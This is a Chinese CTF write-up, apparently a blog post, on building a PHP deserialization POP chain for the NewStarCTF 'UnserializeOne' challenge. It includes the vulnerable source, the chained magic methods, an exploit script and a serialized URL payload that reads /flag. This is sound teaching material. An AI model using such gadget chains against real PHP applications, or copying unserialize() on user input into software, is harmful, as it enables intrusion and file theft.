php反序列化学习 pop链构造

php反序列化之pop链的构造

想复习一下之前学习的构造pop链,于是我自己摘抄了一个题目:UnserializeOne的源码, 来复习一下这个知识点

题目源码:

<?php


error_reporting(0);
highlight_file(__FILE__);

#Something useful for you : https://zhuanlan.zhihu.com/p/377676274

class Start
{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, " . $this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec
{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy
{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0]; //这个类中,是var会触发__clone方法,var被克隆了
    }
}

class eeee
{
    public $obj;

    public function __clone()
    {
        if (isset($this->obj->cmd)) {
            echo "success";
        }
    }
}

if (isset($_GET['pop'])) {
    unserialize($_GET['pop']);
}


?>

这一道题涉及到很多的魔术方法,例如:

__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()empty()时调用
__unset(),当对不可访问属性调用unset()时被调用
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用 __autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

由源码可知,我们的最终目标调用Sec类中的:__invoke()函数中的 echo file_get_contents(‘/flag’);这个语句,____invoke()又是一个魔术方法,有特定的触发条件,所以我们可以由最终目标反推出有一个魔术方法构成的pop链:

反推pop链思路

file_get_contents() —>

1…在Sec类的__invoke()方法里调用 —>

2.Start类里的__issett(方法里的this->func()可以触发____invoke() —>

3.eeee类里的__clone方法里的if (isset($this->obj->cmd))可以触发__isset(), —>

4.Easy 类的call()方法里的$this—>cla=clone $var [0]可以触发__clone —>

5.Sec类的toString()方法里的$this->obj->check($this->var)(check是未定义方法)可以触发__call() —>

6.Start 类的__destruct方法里的"echo "Welcome to NewStarCTF, " . $this->name;"可以触发toString()—>

7.__destruct可以理解为"自动触发",所以我们直接生成Start类即可

在这里插入图片描述

思考时是反推,但我们写exp时就要正推,同时各个类的变量属性我们可以改成public的(对于php版本7.1+,像我本地的7.3.4,反序列化对象的某个属性时,即使这个属性是private或protected,遇到的是公有属性序列化字符串,也会成功反序列化),方便些

正推exp

<?php


error_reporting(0);
//highlight_file(__FILE__);


class Start
{
    public $name;
    public $func;

}

class Sec
{
    public $obj;
    public $var;
    
}

class Easy
{
    public $cla;

}

class eeee
{
    public $obj;

}

$a=new Start();//7.
$a->name=new Sec();//6
$a->name->obj=new Easy();//5
$a->name->var=new eeee();//4
$a->name->var->obj=new Start();//3
$a->name->var->obj->func=new Sec();//21

echo serialize($a);

小易错点

这里有一个小易错点,就是4:为什么是$a->name->var=new eeee(); 而不是 $a->name->obj->cla = new eeee()

一开始我在里卡了好久,后面想明白了,

public function __call($fun, $var)   //class Easy
    {
        $this->cla = clone $var[0]; //这个类中,是var会触发__clone方法,var被克隆了
    }
public function __toString()        //class Sec
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

在这里是 v a r 被克隆,然后赋值给 t h i s − > c l a ,所以如果 var 被克隆,然后赋值给this->cla,所以如果 var被克隆,然后赋值给this>cla,所以如果var是一个对象,就会触发__clone方法,那为什么是clone $var [0]?

因为在toString方法里调用了未定义方法check,从而触发__call,在PHP中,如果一个对象的类定义了__call方法,而调用该对象的方法不存在时,就会触发__call方法。在这种情况下,传递给__call方法的参数将包含方法名(原来未定义的方法的名字)和参数数组,所以clone

$var [0] 就是克隆我们之前传入的Sec类里的变量$var

public function __call($fun, $var)
    {
        //$fun='check',$var=[ Sec->var]
        $this->cla = clone $var[0]; //这个类中,是var会触发__clone方法,var被克隆了
    }

exp运行结果:

在这里插入图片描述

构造payload

/?pop=O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}

结果:

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值